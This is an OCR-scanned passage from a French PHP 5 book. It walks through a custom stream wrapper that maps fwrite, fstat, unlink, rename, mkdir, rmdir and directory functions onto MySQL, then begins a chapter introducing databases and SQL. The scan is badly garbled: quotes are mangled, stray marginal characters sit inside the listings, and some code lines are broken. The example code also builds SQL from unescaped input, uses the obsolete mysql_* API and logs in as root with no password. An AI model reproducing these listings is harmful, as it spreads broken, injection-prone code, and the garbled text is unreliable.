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(Classe Stream Personnalisee)->stream_write() 

Cette methode est appelee en reponse a l'execution de la fonction f write (). Vous devez 
implementer la methode en fonction des donnees passees en argument. 

Syntaxe : int stream_write (string $donnee) 

$donnee Chaine de caractere qu'il faut traiter dans la fonction. 

retour Vous devez retourner la longueur, en octet, des donnees qui ont ete prise 

en compte par votre fonction. 

Voici pour notre exemple, comment nous pouvons ajouter un enregistrement. II faut dans un 
premier temps implementer la methode : 

function stream_write($donnee) { 
$data = explode ("\n", $donnee) ; 
$nboct = 0; 

// Formate la chaTne d 1 insertion des donnees 
// Celles-ci sont passees a la fonction fwrite() 
// sous la forme : 

// champl=donnee l\nchamp2=donnee 2\netc... 
$formatstrl = $formatstr2 = "("; 
for ($i=0; $i<count($data) ; $i++) { 

list($champ, $valeur) = explode ("=", $data[$i]); 

$formatstrl .= $champ; 

$formatstr2 .= .$valeur. ; 

$nboct = $nboct + strlen($valeur) ; 

// Ajoute une virgule le cas echeant 

if (count($data) > $i+l) { 
$formatstrl .= ", "; 
$formatstr2 .= ", "; 

} 

} 

$formatstrl .= ")"; 
$formatstr2 .= ")"; 

if (mysql_query("INSERT INTO ".$this->table." ".$formatstrl. 

" VALUES ".$formatstr2, $this->db)) { 
// On execute de nouveau la requete afin de recuperer le dernier 
// enregistrement 
mysql_free_result($this->rs) ; 

$this->rs = mysql_query ( 1 sel ect * from 1 .$this->table, $this->db); 

// On place le pointeur sur la derniere entree 
$this->stream_seek(0, SEEK_END) ; 
return $nboct; 
} else { 

return FALSE; 
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Et ajoutons ce code a la fin de notre script: 

echo "Enregi strement d'une nouvelle entree : "; 

echo fwrite($fl ux, "nom=HEUTE\nprenom=Damien") ; 

echo " caracteres ont ete enregistre\n"; 

//On ecrit les entrees pour verifier que l'ecriture 

// a bien ete effectuee 

rewind($flux) ; 

echo "Position actuelle du pointeur : " . ftel 1 ($f 1 ux) . "\n" ; 
while($c = fread($flux, 2048)) { 

echo "\n"; 

echo "entree :"; 

echo $c; 

} 

Le resultat est maintenant le suivant : 

Position actuelle du pointeur :17 

1 GUEDON Laurent 

Position actuelle du pointeur :32 

2 HEUTE Thomas 

Position actuelle du pointeur :0 

Deplacer le pointeur sur la seconde entree :2 HEUTE Thomas 

Enregi strement d'une nouvelle entree : 11 caracteres ont ete enregi stre 
Position actuelle du pointeur :0 

entree :1 GUEDON Laurent 

entree :2 HEUTE Thomas 

entree :3 HEUTE Damien 

Vous pouvez observer que nous ne prenons pas en compte le mode d'ouverture de la ressource. 
En effet, alors que nous avions selectionne l'ouverture en lecture seule, il est possible d'ecrire 
des donnees dans la table. En consequence, c'est au developpeur qu'il incombe la 
responsabilite de verifier les acces a la ressource en fonction du mode d'ouverture de celle-ci. 
Nous pouvons specifier ceci directement dans la methode correspondante sans oublier 
d'assigner le mode a la propriete $mode de notre objet. 

Nous declarons dans un premier temps une nouvelle propriete : 
private $mode; 

Ensuite, il faut lui assigner une valeur lors de l'appel a la fonction f open ( ) : 

function stream_open($chemin, $mode, $options='', &$chemi nReel = 1 1 ) { 
$url = parse_url ($chemin) ; 

$this->db = mysql_connect($url ['host'] , $url ['user'] , $url [ ' pass '] ) ; 
//On separe la base et la table 

list($base, $thi s->tabl e) = split("\.", $url ['path']) ; 
//On supprime le "/" devant le nom de la base 
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$base = substr($base, l-strlen($base)) ; 
mysql_select_db($base) ; 

ce 

//On execute la requete de selection de la table cd> =■ ET 

$this->rs = mysql_query ( 1 sel ect * from 1 .$this->table, $this->db); "g 5" ca 

$this->mode = $mode; 3- » jo 

return TRUE; Jj" — 5" 

, id n, 3 

} M |a 

CO CD 
CO 

Enfin executer le test correspondant dans la methode f write ( ) : 

function stream_write($donnee) { 

i f ($thi s->mode == "r") return FALSE; 
$data = explode ("\n", $donnee) ; 
$nboct = 0; 

// Formate la chaTne d 1 insertion des donnees 
// Celles-ci sont passees a la fonction fwrite() 



Si vous executez le script, vous observez qu'a present, le mode d'ecriture "r" empeche la 
creation de nouvelles entrees dans la table. Vous pouvez ajouter un controle dans la methode 
f read ( ) pour egalement empecher la lecture lorsque le mode d'ouverture de la ressource est 
en ecriture seule ("Write Only"). 

La fonction f stat ( ) peut, elle aussi, etre implementee. Meme s'il est evident qu'elle ne peut 
pas forcement retourner toutes les donnees que Ton peut trouver en effectuant un f stat ( ) sur 
un systeme de fichier UNIX. La procedure stream_stat ( ) est utilisee a chaque appel de cette 
fonction. 



(Classe Stream Personnalisee)->stream_stat() 

Doit retourner le tableau associatif avec les clefs suivantes : [dev], [ino], [mode], [nlink], 
[uid], [gid], [rdev], [size], [atime], [mtime], [ctime], [blksize], [blocks] 

Syntaxe : array stream_stat (void) 

retour Retourne un tableau associatif comportant une ou plusieurs valeurs. 

Dans notre exemple, nous allons mettre en oeuvre la procedure pour permettre a la fonction 
f stat ( ) de renseigner la date de creation, la date de derniere modification ainsi que la taille de 
la table (en comptant les indexes ). 

function rettimestamp($datStr) { 

if(ereg("([0-9]{4})-([0-9]{2})-([0-9]{2}) ". // Dates 
"([0-9]{2}):([0-9]{2}):([0-9]{2})\ // Heures 

$datStr, $regmatch)) { 

return mktime($regmatch[4] , $regmatch [5] , $regmatch [6] , 
$regmatch [2] , $regmatch [3] , $regmatch [1] ) ; 

} else { 

return FALSE; 
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function stream_stat() { 

$sqlinfo = mysql_query( 'SHOW TABLE STATUS'); 
SrsTablelnfo = mysql_fetch_array ($sql i nfo) ; 



$tableinfo = array( 



"size" => $rsTableInfo["Index_length"] + $rsTabl eInfo["Data_l ength"] , 
"mtime" => $thi s->rettimestamp($rsTabl eInfo["Update_time"] ) , 
"ctime" => $this->rettimestamp($rsTabl eInfo["Create_time"] ) 



); 



return $tableinfo; 

} 

II ne nous reste plus qu'a appeler notre fonction f stat ( ) et observer le resultat: 

Listing 9.43 : streamopen.php 

echo "Informations sur la table :\n"; 
$stat = fstat($flux); 

echo "- Taille:".round($stat["size"]/1000, 1)." Ko\n"; 

echo "- Derniere modi fi cation: " .date( 'j/m/Y G:i:s', $stat ["mtime"] ) ."\n"; 

echo "- Date de creation: " .date( 'j/m/Y G:i:s', $stat["ctime"] ) . "\n" ; 

Informations sur la table : 

- Taille:2.7 Ko 

- Derniere modification: 24/09/2004 13:49:18 

- Date de creation: 15/09/2004 17:05:50 

La fonction unlink ( ) est utilisee pour supprimer les liens vers une ressource. Depuis PHP 5.0, 
il est possible complementer dans un gestionnaire une methode pouvant gerer cette fonction. 
II faut pour cela definir la methode unlink ( ) . 



Decrire dans la methode, la suppression de la ressource definie par son URL. Elle ne peut etre 
implementee qu'avec les versions 5 et superieures du langage PHP. 



Voici un exemple expliquant la suppression d'une ressource de type table a 1'aide de la fonction 

unlink ( ) . 



(Classe Stream Personnalisee)->unlink() 



Syntaxe : 

$chemi n 



retour 



bool unl i nk(stri ng $chemi n) 
URL de la ressource a supprimer 

Doit retourner TRUE si la ressource a bien ete supprimee et FALSE dans le 
cas contraire. 
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Listing 9.44 : streamunlink.php 

<?php 

class fluxMysql { 

function unlink($chemin) { 
$url = parse_url ($chemi n) ; 

$db = mysql_connect($url ['host'] , $url [' user 1 ] , $url ['pass']) ; 

//On separe la base et la table 

list($base, $table) = split("\.", $url [ 1 path '] ) ; 

// On suppn'me le "/" devant le nom de la base 

$base = substr ($base, 1-strl en ($base) ) ; 

mysql_select_db($base) ; 

mysql_query ( ' DROP TABLE '.Stable, $db) ; 

mysql_close($db) ; 

} 

} 

stream_wrapper_regi ster( 'mysql ' , ' fl uxMysql ' ) 

or dieC'Impossible d 1 enregi strer ce protocole !"); 

// Connexion 

$db = mysql_connect("localhost", "root", ""); 
mysql_select_db("bible"); 
// Creation d'une table 
mysql _query( 1 CREATE TABLE 'unlink' ('. 

"chl' VARCHAR( 10 ) NOT NULL ,'. 

"ch2' VARCHAR( 10 ) NOT NULL ,'. 

"ch3' VARCHAR( 10 ) NOT NULL)', $db) ; 

// Insertion des donnees 

mysql_query(" INSERT INTO 'unlink' VALUES( 1 testl 1 , 
mysql _query(" INSERT INTO 'unlink' VALUES( ' test2 ' , 
mysql_query(" INSERT INTO 'unlink' VALUES( ' test3 ' , 

// Lecture des entrees dans la table 
$rs = mysql_query ("SELECT * FROM 'unlink'"); 
while ($row = mysql_fetch_row($rs) ) { 

echo "Entree : \n"; 

echo "\t".$row[0]."\n"; 

echo "\t".$row[l]."\n"; 

echo "\t".$row[2]."\n\n"; 

} 

mysql_close($db) ; 

// Suppression de la table via la fonction unlink() 
unl i nk( "mysql : / /rootOl ocal host/bi bl e.unl ink") ; 

//Verification de la suppression de la table 
// Connexion 

$db = mysql_connect("localhost", "root", ""); 
mysql_select_db("bible"); 
// Lecture des entrees dans la table 



'testl', 'testl')") 
'test2', 'test2')") 
'test3', 'test3')") 
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$rs = mysql_query("SELECT * FROM 'unlink'") 

or die ("Impossible de recuperer les entrees dans cette table"); 
while ($row = mysql_fetch_row($rs) ) { 

echo "Entree : "; 

echo "\t" .$row[0] . "\n" ; 

echo "\t".$row[l] . "\n"; 

echo "\t".$row[2] . "\n\n"; 

} 

mysql_cl ose($db) ; 

?> 

Et voici le resultat : 

Entree : 
testl 
testl 
testl 

Entree : 
test2 
test2 
test2 

Entree : 
test3 
test3 
test3 

Impossible de recuperer les entrees dans cette table 

Tous comme les fichiers, vous pouvez etre amene a renommer vos ressources. Dans le cas d'une 
base, vous pouvez modifier le nom de celle-ci. La methode rename ( ) est appelee a chaque 
execution de la fonction du meme nom (Si vous specifiez, bien sur, votre gestionnaire dans 
l'URL). 
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(Cksse Stream Personnalisee)->rename() 



Renomme ou modifie le chemin vers votre ressource. Methode a implementer uniquement 
avec les versions 5 et superieures du langage PHP. 

Syntaxe: bool rename(string $ancienneRess, stri ng $nouvel 1 eRess) 

$ancienneRess Chemin vers 1'ancienne ressource disponible 
$nouvelleRess Nouvelle ressource 

retour Retournez TRUE si 1'operation a ete executee avec succes et FALSE dans le 

cas contraire. 
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Voici, comme a l'habitude, un exemple d'utilisation : 

Listing 9.45 : streamrename.php 

<?php 

class fluxMysql { 

function rename ($anChemin, $nvChemin) { 
$urll = parse_url ($anChemi n) ; 
$url2 = parse_url ($nvChemi n) ; 
// On ne prends pas en compte ici 1'url complete 
// du nouveau chemin et on suppose que la meme base de donnees 
// est utilisee pour la modification 

$db = mysql_connect($urll['host'] , $url 1 [ 1 user '] , $url 1[' pass '] ) ; 

//On separe la base et la table 

list($basel, $tablel) = split("\.", $url 1 [' path '] ) ; 

list($base2, $table2) = split("\.", $url 2 [' path '] ) ; 

// On supprime le "/" devant le nom de la base 

$basel = substr($basel , l-strlen($basel)) ; 

mysql_select_db($basel) ; 

mysql_query(' ALTER TABLE '.$tablel.' RENAME TO '.$table2, $db); 
mysql_close($db) ; 

} 

} 

stream_wrapper_regi ster( 'mysql ' , ' fl uxMysql ' ) 

or die("Impossible d 1 enregi strer ce protocole !"); 

// Connexion 

$db = mysql_connect("localhost", "root", ""); 
mysql_select_db("bible"); 
// Creation d'une table 
mysql_query( 1 CREATE TABLE 'nomnaze' ('. 

"chl' VARCHAR( 10 ) NOT NULL ,'. 

"ch2' VARCHAR( 10 ) NOT NULL ,'. 

"ch3' VARCHAR( 10 ) NOT NULL)', $db) ; 

// Insertion des donnees 

mysql_query(" INSERT INTO 'nomnaze' VALUES('testl' , 

mysql_query(" INSERT INTO 'nomnaze' VALUES (' test2' , 

mysql_query(" INSERT INTO 'nomnaze' VALUES('test3' , 

// Lecture des entrees dans la table 
$rs = mysql_query("SELECT * FROM 'nomnaze'"); 
echo "II y a " .mysql_num_rows ($rs) . " Entree(s) dans la table naze !\n"; 
mysql_close($db) ; 

// Renommons la table 

rename ( "mysql : //root@l ocal host/bi bl e .nomnaze" , 
"mysql : //root@l ocal host/bi ble.nomqui tue" 



'testl', 'testl')") 
'test2', , test2')") 
'test3', 'tests')") 
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//Verification que la table porte bien le nouveau nom 
// Connexion en utilisant 1'ancien nom 
«g w $db = mysql_connect("localhost", "root", ""); 



CD 



u> mysql_select_db("bible" 



5 .§: // Lecture des entrees dans la table en utilisant 1'ancien nom 

g a C if($rs = mysql_query ("SELECT * FROM 'nomnaze'")) { 

n .2 a echo "L'ancien nom est utilise !"; 

jo 1 - } elseif($rs = mysql_query ("SELECT * FROM 'nomquitue'")) { 

o> "~ echo "Nous utilisons maintenant le nouveau nom de la table !\n" 

while ($row = mysql_fetch_row($rs) ) { 

echo "Entree : \n"; 

echo "\t".$row[0] ."\n"; 

echo "\t" .$row[l] . "\n" ; 

echo "\t".$row[2] ."\n\n"; 

} 

} 

mysql_close($db) ; 

?> 

II y a 3 Entree (s) dans la table naze ! 

Nous utilisons maintenant le nouveau nom de la table ! 

Entree : 

testl 

testl 

testl 



Entree : 
test2 
test2 
test2 



Entree : 
test3 
test3 
test3 



Comme les pour fonctions precedentes, la fonction mkdir ( ) qui est utilisee pour creer un 
repertoire, peut-etre ici utilise pour effectuer une toute autre operation. Nous devons pour cela 
implementer une nouvelle methode dans notre classe. Celle-ci est tous simplement la methode 

mkdir ( ) . 



(Classe Stream Personnalisee)->mkdir() 

Methode a implementer pour executer les commandes a realiser a la suite de l'appel a la 
fonction mkdir ( ) . Elle ne peut etre implementee qu'avec les versions 5 et superieures du 
langage PHP. 

Syntaxe : function mkdi r (stri ng $chemin, int $mode, int $options) 
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$chemi n 



URL possedant le filtre a appliquer ainsi que les informations permettant 
de traiter la ressource. 



$mode 



Le mode est utilise pour indiquer les droits sur le dossier a creer. 



to 



$opti ons 



Peut-etre indiquees les options suivantes : 

STREAM_REPORT_ERRORS : Indique si les erreurs doivent etre levees par 
le gestionnaire. 

STREAM_MKDIR_RECURSIVE : Indique s'il faut permettre la recursivite 
de la fonction mkdir ( ) . 




retour 



Indiquez TRUE si les commandes ont ete realisees avec succes et FALSE 
dans le cas contraire. 



Voici un exemple d'implementation de la methode mkdir ( ) . 

Listing 9.46 : stream mkdir.php 

<?php 

class fluxMysql { 

function mkdir($chemin, $mode=0777, $options=0) { 
$url = parse_url ($chemi n) ; 

$db = mysql_connect($url ['host'] , $url [' user 1 ] , $url ['pass']) ; 
$base = substr ($url [ 1 path '] , 1-strl en ($url ['path'])) ; 

$retour = mysql_query( 1 CREATE DATABASE '.$base, $db) ; 

mysql_close($db) ; 

return $retour; 



stream_wrapper_regi ster ( 'mysql ' , ' fl uxMysql ' ) 

or die("Impossible d'enregistrer ce protocole !"); 

if (mkdir("mysql ://root@localhost/dbrmdir")) { 
echo "La base a ete creee avec succes !"; 

} else { 

echo "Impossible de creer la base de donnees !"; 



La base a ete creee avec succes ! 

Vous pouvez verifier que la base de donnees est bien en place a l'aide de phpMyAdmin ou du 

client MySQL. 

Si vous essayez de creer une nouvelle fois la base de donnees, le script vous retournera : 
Impossible de creer la base de donnees ! 

Cette base une fois creee, vous pouvez la supprimer en SQL ou implementer la methode 
rmdir ( ) dans votre classe pour qu'elle effectue l'operation. 



?> 
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(Classe Stream Personnalisee)->rmdir() 

Methode utilisee a l'execution de la fonction rmdir ( ) . Elle ne peut etre implemented qu'avec 
les versions 5 et superieures du langage PHP. 

Syntaxe : bool rmdi r (stri ng $chemin, int $options) 

$ c h em i n URL possedant le f iltre a appliquer ainsi que les informations permettant 

de supprimer la ressource. 

$opti ons Indiquez STREAM_REPORT_ERRORS si vous desirez relever les erreurs a 

l'aide du gestionnaire. 

retour Indiquez TRUE si les commandes de suppression ont ete realisees avec 

succes et FALSE dans le cas contraire. 

Voici le code precedent arrange pour permettre la suppression de la base que vous venez de creer. 
<?php 

class fluxMysql { 

function mkdir($chemin, $mode=0777, $options=0) { 
$url = parse_url ($chemi n) ; 

$db = mysql_connect($url ['host'] , $url ['user'] , $url [ 1 pass '] ) ; 
$base = substr ($url [ 1 path '] , 1-strl en ($url [ 1 path '] ) ) ; 

$retour = mysql_query ( 1 CREATE DATABASE '.$base, $db); 

mysql_close($db) ; 

return $retour; 

} 

function rmdir($chemin, $option) { 
$url = parse_url ($chemi n) ; 

$db = mysql_connect($url ['host'] , $url ['user'] , $url [ 1 pass '] ) ; 
$base = substr ($url [ 1 path '] , 1-strl en ($url [ 1 path '])) ; 

$retour = mysql_query ( 1 DROP DATABASE '.$base, $db) ; 

mysql_close($db) ; 
return $retour; 

} 

} 

stream_wrapper_register('mysql ' , 'fluxMysql ') 

or dieC'Impossible d 1 enregi strer ce protocole !"); 

// Creation de la base de donnees 
if (mkdi r("mysql ://root@localhost/dbrmdir")) { 

echo "La base a ete creee avec succes !\n"; 
} else { 

echo "Impossible de creer la base de donnees !\n"; 

} 
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// Suppression de la base de donnees 
if (rmdir("mysql ://root@localhost/dbrmdir")) { 

echo "La base a ete supprimee avec succes !\n"; 
} else { 

echo "Impossible de supprimer la base de donnees !\n"; 

} 

?> 

La base a ete creee avec succes ! 
La base a ete supprimee avec succes ! 

Voyons maintenant comment nous pourrions lister les tables contenues dans une base de 
donnees. Pour cela nous allons implementer dans notre gestionnaire la methode 

dir_opendir ( ) . 



(Classe Stream Personnalisee)->dir_opendir() 

Methode appelee lors de l'utilisation de la fonction opendir ( ) . 

Syntaxe : bool di r_opendi r (stri ng $chemin, int $options) 

$ c h em i n URL indiquant le chemin vers la ressource a traiter. 

$opti ons Indiquez STREAM_REPORT_ERRORS si vous desirez relever les erreurs a 

l'aide du gestionnaire. 

retour Indiquez TRUE si la ressource a ete ouverte avec succes et FALSE dans le 

cas contraire. 

Nous avons egalement besoin de creer une methode dir_readdir ( ) qui sera appele lors de 
chaque execution de la fonction readdir ( ) . 



(Classe Stream Personnalisee)->dir_readdir() 

Methode retournant le nom du prochain "fichier" ouvert. Celle-ci est appele a l'execution de la 
fonction readdir ( ) . Cette methode s'utilise conjointement avec dir_opendir ( ) . 

Syntaxe: string di r_readdi r (voi d) 

retour Retourne une chaine representant le nom du prochain fichier. 

N'oublions pas qu'il est necessaire (parfois) de liberer la ressource utilisee. La methode 

dir_closedir ( ) est la pour qa ! 
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(Classe Stream Personnalisee)->dir_closedir() 

Methode appelee lors de l'execution de la fonction closedir ( ) . Vous 1'implementerez de 
facon a liberer la ressource ouverte par dir_opendir ( ) . 

Syntaxe : bool dir_closedir(void) 

retour Indiquez TRUE en cas de succes et FALSE dans le cas contraire. 

Implementation de ces methodes pour recuperer les tables contenues dans une base de 
donnees. 

Listing 9.47 : diropendir.php 

<?php 

class fluxMysql { 
private $base; 
var Stable; 

function dir_opendir($chemin, $option=0) { 
$url = parse_url ($chemi n) ; 

$this->base = mysql_connect ($url [ 1 host '] , $url ['user'] , $url [ 1 pass '] ) ; 

$base = substr ($url [ 1 path '] , 1-strl en ($url [ 1 path '] ) ) ; 

i f ($thi s->tabl e = mysql_l i st_tabl es ($base, $thi s->base) ) { 

return TRUE; 
} else { 

return FALSE; 

} 

} 

function di r_readdi r() { 

if ($row = mysql_fetch_row($thi s->tabl e) ) { 

return $row[0] ; 
} else { 

return FALSE; 

} 

} 

function di r_cl osedi r() { 

return mysql_cl ose($thi s->base) ; 

} 

} 

stream_wrapper_register('mysql ' , 'fluxMysql ') 

or die("Impossible d 1 enregi strer ce protocole !"); 

// Creation d'une base de donnees pour l'exemple 
// Connexion au serveur 

$db = mysql_connect("localhost", "root", ""); 
mysql_query(' CREATE DATABASE dir_opendir' , $db); 
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// Connexion a cette base de donnees 
mysql_sel ect_db("di r_opendi r") ; 

// Creation de 10 tables 
for ($i=0; $i<10; $i++) { 

mysql _query ( 1 CREATE TABLE 'ex'.$i." ('. 

"chl' VARCHAR( 10 ) NOT NULL , 1 . 

"ch2' VARCHAR( 10 ) NOT NULL , 1 . 

"ch3' VARCHAR( 10 ) NOT NULL)', $db) ; 

} 

mysql_close($db) ; 

// Liste les tables de la base de donnees 
$flux = opendir("mysql ://root@l ocal host/di r_opendi r") 
or die("Impossible d'ouvir la ressource !"); 

echo "Liste des tables : \n"; 

while($table = readdi r ($f 1 ux) ) { 
echo "-> ". Stable. "\n"; 

} 

cl osedi r($f 1 ux) ; 

// Suppression de la base 
$db = mysql_connect("localhost", "root", ""); 
mysql_query('DROP DATABASE dir_opendir' , $db) ; 
mysql_close($db) ; 

?> 

Le resultat de l'execution de ce script : 

Liste des tables : 
-> exO 
-> exl 
-> ex2 
-> ex3 
-> ex4 
-> ex5 
-> ex6 
-> ex7 
-> ex8 
-> ex9 

Enfin, il est possible de reinitialiser le pointeur du flux si vous implementer la methode 

dir_rewinddir ( ) . 
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i o 



(Classe Stream Personnalisee) ->dir_rewinddir () 

c T3 q, Methode appelee lors de l'execution de la fonction rewinddir ( ) . A vous d'ecrire les 

■jz » "5 commandes permettant de reinitialiser le pointeur du flux a sa position principale. 

" i« r 
S> £ ™ 

B 2 >& Syntaxe : bool dir_rewinddir(void) 

retour Retournez la valeur TRUE en cas de succes et FALSE dans le cas contraire. 

Voici la source finale de cet exemple : 
<?php 

class fluxMysql { 
private $base; 
var $table; 

function dir_opendir($chemin, $option=0) { 
$url = parse_url ($chemi n) ; 

$this->base = mysql_connect ($url [ 1 host '] , $url ['user'] , $url [ 1 pass '] ) ; 

$base = substr($url ['path'] , 1-strl en ($url [ 1 path '] ) ) ; 
i f ($thi s->tabl e = mysql_l i st_tabl es ($base, $thi s->base) ) { 

return TRUE; 
} else { 

return FALSE; 

} 

} 

function di r_readdi r() { 

if ($row = mysql_fetch_row($thi s->tabl e) ) { 

return $row[0] ; 
} else { 

return FALSE; 

} 

} 

function di r_cl osedi r() { 

return mysql cl ose($thi s->base) ; 



function di r_rewi nddi r() { 

return mysql_data_seek($thi s->tabl e, 0) ; 



} 



stream_wrapper_regi ster( 1 mysql ' , 'fluxMysql ') 

or die("Impossible d 1 enregi strer ce protocole !") 



// Creation d'une base de donnees pour 1 'exemple 
// Connexion au serveur 
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$db = mysql_connect("localhost", "root", ""); 
mysql_query ( 1 CREATE DATABASE dir_opendir' , $db); 



for ($i=0; $ i < 1 ; $i++) { 

mysql_query ( 1 CREATE TABLE 'ex'.$i." ('. 
"chl' VARCHAR( 10 ) NOT NULL , 1 . 
"ch2' VARCHAR( 10 ) NOT NULL , 1 . 
"ch3' VARCHAR( 10 ) NOT NULL)', $db) ; 

} 

mysql_close($db) ; 

// Liste les tables de la base de donnees 
$flux = opendir("mysql ://root@l ocal host/di r_opendi r") 
or die("Impossible d'ouvir la ressource !"); 

echo "Liste des tables : \n"; 
while($table = readdi r ($f 1 ux) ) { 
echo "-> ". Stable. "\n"; 

} 

//On reinitialise le pointeur a la position 
rewi nddi r ($f 1 ux) ; 

// Et on recommence 

echo "\nListe des tables (encore !): \n"; 
while($table = readdi r($fl ux) ) { 
echo "-> ". Stable. "\n"; 

} 

cl osedi r($f 1 ux) ; 

// Suppression de la base 
$db = mysql_connect("localhost", "root", ""); 
mysql_query('DROP DATABASE dir_opendir' , $db) ; 
mysql_close($db) ; 

?> 

Avec le resultat suivant : 
Liste des tables : 



-> exO 
-> exl 
-> ex2 
-> ex3 
-> ex4 
-> ex5 
-> ex6 
-> ex7 



to 



// Connexion a cette base de donnees 
mysql_sel ect_db ( "di r_opendi r") ; 




// Creation de 10 tables 
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-> ex8 
-> ex9 



-> ex5 
-> ex6 
-> ex7 
-> ex8 
->.ex9 




Liste des tables (encore !): 



-> exO 
-> exl 
-> ex2 
-> ex3 
-> ex4 
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Introduction aux bases de donnees 



Si vous souhaitez stocker des informations et pouvoir, par la suite, les trier, les compter, les 
filtrer, alors vous serez certainement amene a utiliser une base de donnees. 

Les bases de donnees peuvent etre utilisees pour gerer un repertoire telephonique ; dans ce cas, 
vous y stockerez probablement des noms, prenoms, adresses et numeros de telephone et, la 
plupart du temps, vous filtrerez ces informations par nom. Elles peuvent egalement etre 
utilisees pour stocker les messages d'un forum, qui pourront alors etre tries par date ou par fil 
de discussion. 

Comme vous le pressentez, il y a de nombreux domaines d'applications ayant recours aux bases 
de donnees. 

Le choix d'une base de donnees n'est pas simple, il peut vous etre dicte par votre hebergeur, par 
votre superieur, par le cout, par les performances, par votre "religion" informatique... PHP 5 
simplifie grandement l'utilisation de petites bases de donnees en integrant SQLite qui ne 
necessite aucune installation ni creation d'utilisateurs. 

Avant de voir comment utiliser une base de donnees (avec PHP), detaillons ce qu'est une base 
de donnees (nous ne nous interesserons ici qu'aux bases de donnees relationnelles). 



10.1. Introduction aux bases de donnees 

Une base de donnees peut etre assimilee a un ensemble de fichiers (dans lesquels sont stockees 
les informations). Ces derniers sont geres uniquement par un logiciel serveur (il n'est 
absolument pas question que vous les manipuliez directement). Tout comme vos scripts PHP 
sont mis a disposition du public par un serveur Internet, vos donnees sont mises a disposition 
par un serveur de bases de donnees. Les utilisateurs, quant a eux, devront utiliser un logiciel 
client pour manipuler ces donnees. 

Les differents editeurs de bases de donnees fournissent ainsi systematiquement le client et le 
serveur de bases de donnees. En regie generale, le client d'une base de donnees ne sera capable 
de communiquer qu'avec le serveur pour lequel il a ete concu. Comme nous le verrons par la 
suite, il existe toutefois des standards permettant de communiquer avec plusieurs types de 
serveurs de bases de donnees. 

Comme nous l'avons dit, l'utilisateur devra acceder aux donnees en utilisant le logiciel client 
approprie. Or, si le logiciel differe d'un serveur de bases de donnees a l'autre, il existe des families 
de bases de donnees qui utilisent plus ou moins le meme langage, a savoir le langage SQL. 



Interface graphique 

~ // existe egalement des clients ayant une interface graphique utilisable directement via 
REMARQUE votre navigateur. Pour MySQL, vous pourrez par exemple utiliser phpMyAdmin. 



RENVOI 



Reportez-vous a Vannexe "phpMyAdmin" pour plus de details. 
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10.2. Introduction ail langage SQL 

Le langage SQL (Structured Query Language = langage de requetes structurees) est cense etre 
normalise (notamment avec les normes SQL92 et SQL99), mais la plupart des editeurs 
l'adaptent a leur sauce. 

Ce langage s'appuie sur une representation des donnees sous forme de tables. Une table peut 
etre assimilee a un tableau. Chaque table est composee de champs (les colonnes du tableau) et 
d'enregistrements (les lignes du tableau). Dans le cas d'un repertoire telephonique, chaque 
enregistrement representera un individu, et il y aura un champ pour le nom, un champ pour le 
prenom, etc. 

Une base de donnees peut (et c'est quasiment toujours le cas) contenir plusieurs tables liees les 
unes aux autres. 

II est a noter qu'un meme serveur de bases de donnees peut heberger plusieurs bases de 
donnees (autrement dit plusieurs ensembles de tables). 

Le typage 

Une des forces des bases de donnees SQL sur les fichiers est, entre autres, que les champs sont 
types. II n'est done pas question de tenter de mettre une chaine de caracteres la ou un entier est 
attendu, ce qui assure une certaine coherence dans les informations. En revanche, il faudra 
evidemment bien reflechir au choix du type de donnees (ce qui ne constitue generalement pas 
une grosse difficulte). 

Cela peut avoir son importance, notamment lors d'operations de tri. Ainsi, des nombres stockes 
dans un champ de type texte ne seront pas tries de la meme maniere que s'ils sont dans un 
champ de type entier. En effet, la chaine de caracteres "10" est alphanumeriquement plus petite 
(avant) que "2" (le premier caractere de "10" etant avant le premier caractere de "2"), alors que 
le nombre 2 est plus petit que le nombre 10. 

Le choix du type est egalement important en terme d'occupation du disque : un nombre stocke 
sous forme d'une chaine de caracteres prend necessairement plus de place que s'il est stocke 
sous sa forme binaire. Inutile, de meme, de choisir un type sur 3 octets pour un nombre entier 
compris entre et 255 (tenant done sur un unique octet). 

Les contraintes 

Le langage SQL permet egalement d'imposer des contraintes (autres que le type) sur les 
donnees, ceci toujours afin d'assurer la coherence des informations. II est, par exemple, ainsi 
possible d'obliger a ce qu'un champ soit renseigne, ou bien a ce que la valeur donnee 
appartienne a une liste predefinie (ce dernier point n'est toutefois pas vrai pour tous les 
serveurs de bases de donnees). 



10.3. Les relations entre tables 

Les regies de conception d'une base de donnees peuvent un peu derouter les neophytes, mais 
ce n'est finalement pas aussi complique que cela parait (meme s'il existe des methodes bien 
savantes, la plus celebre concernant les bases de donnees etant Merise). En effet, il n'est 



Les relations entre tables 



generalement pas question d'avoir une base de donnees ne possedant qu'une seule table, dans 
laquelle on mettrait toutes les informations (comme dans un fourre-tout). Non. Generalement, 
une base est constitute de plusieurs tables reliees entre elles par un ou plusieurs champs 
identifiant de facon unique un enregistrement de la table. 

Explication. Imaginez que vous souhaitez constituer une base de donnees de films. Dans ce cas, 
vous serez amene a indiquer le nom du film, le nom du realisateur ainsi que la liste des acteurs. 
Mais, vous comprenez bien qu'il n'est pas question d'avoir une table (comme la suivante) avec, 
pour chaque enregistrement, un triplet (film, realisateur, acteur), sachant qu'il y a plusieurs 
acteurs par film et que nous serions obliges de repeter le nom du realisateur. 



Tableau 10.1 : Exemple de table d'une base de donnees mal congue 



Film 


Realisateur 


Acteur 


Forrest Gump 


Robert Zemeckis 


Tom Hanks 


Forrest Gump 


Robert Zemeckis 


Robin Wright Penn 


II taut sauver le soldat Ryan 


Steven Spielberg 


Tom Hanks 


II taut sauver le soldat Ryan 


Steven Spielberg 


Edward Burns 



Nous pourrions eventuellement envisager de creer une table avec plusieurs champs acteur 
(acteurl, acteur2, etc.). Bien que ce soit generalement le premier reflexe des neophytes, cela est 
une tres mauvaise idee. Ne serait ce que parce que Ton ne sait pas, a priori, combien il y a 
d'acteurs (au maximum) par film. 

Non, comme nous l'avons deja dit, il faut alors faire plusieurs tables. Dans notre cas, une 
premiere approche (pas encore satisfaisante) peut consister a avoir une table de couples 
film/realisateur et une table de couples film/acteur. Mais, dans ce cas, nous serions a nouveau 
oblige de dupliquer les noms des films et des acteurs (si ces noms sont saisis manuellement, les 
risques de fautes de frappes sont importants). 

La solution consiste a creer une table///m, une table realisateur et une table acteur, ainsi que des 
tables de liaisons. Les valeurs de champs dupliquees seront alors remplacees par des references 
a un champ d'une table. 

Ce qui donne, dans notre cas : 



Tableau 10.2 : Table Film 



Filmld 


Film 


1 


Forrest Gump 


2 


II Faut Sauver le Soldat Ryan 


Tableau 10.3: Table Acteur 


Acteurld 


Acteur 


1 


Tom Hanks 


2 


Robin Wright Penn 


3 


Edward Burns 
